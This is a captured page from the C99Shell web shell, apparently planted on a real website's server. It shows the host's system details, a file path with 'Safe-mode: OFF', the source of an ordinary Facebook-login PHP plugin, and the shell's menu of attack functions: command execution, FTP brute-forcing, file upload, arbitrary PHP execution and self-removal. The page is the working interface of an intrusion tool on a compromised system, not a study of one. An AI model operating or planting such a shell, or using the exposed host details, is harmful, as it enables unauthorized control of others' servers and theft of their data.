!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/itce.co.in/data/classes/security/   drwxr-xr-x
Free 30.73 GB of 49.93 GB (61.56%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     fb.php (1.42 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

class SecurityPluginFB extends SecurityPlugin {

    
/**
     * Facebook plugin
     */
    
public $fbObj;

    
/**
     * @constructor
     */
    
function __construct()
    {
        
parent::__construct();
        
$this->appId GetGlobalData("FBappId""");
        
$this->appSecret GetGlobalData("FBappSecret""");

        
$this->fbObj fbCreateObject$this->appId$this->appSecret );
    }

    public function 
getUserInfo$token )
    {
        global 
$cCharset;

        
//    facebook API ignores $token and uses $_REQUEST["signed_request"] instead
        
$infoData fbGetUserInfo$this->fbObj );
        
$fbme $infoData["info"];

        if( !
$fbme )
        {
            
$this->error $infoData["error"];
            return array();
        }

        
$ret = array(
                
"id" => "fb".(string)$fbme["id"],
                
"name" => runner_convert_encoding( (string)$fbme["name"], $cCharset'UTF-8' ),
                
"email" => (string)$fbme["email"],
                
"raw" => $fbme
            
);

        if( 
$fbme["picture"] && is_array$fbme["picture"] )) {
            
$picResult runner_http_request( @$fbme["picture"]["data"]["url"], array(), "GET", array(), false );
            if( 
$picResult["content"] )
                
$ret["picture"] = $picResult["content"];
        }

        return 
$ret;
    }

    public function 
getJSSettings()
    {
        return array(
            
"isFB" => true,
            
"FBappId" => $this->appId
        
);
    }

    public function 
onLogout()
    {
        
fbDestroySession$this->fbObj );
    }

    public function 
savedToken()
    {
        return 
fbGetSignedRequest$this->fbObj );
    }
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0022 ]--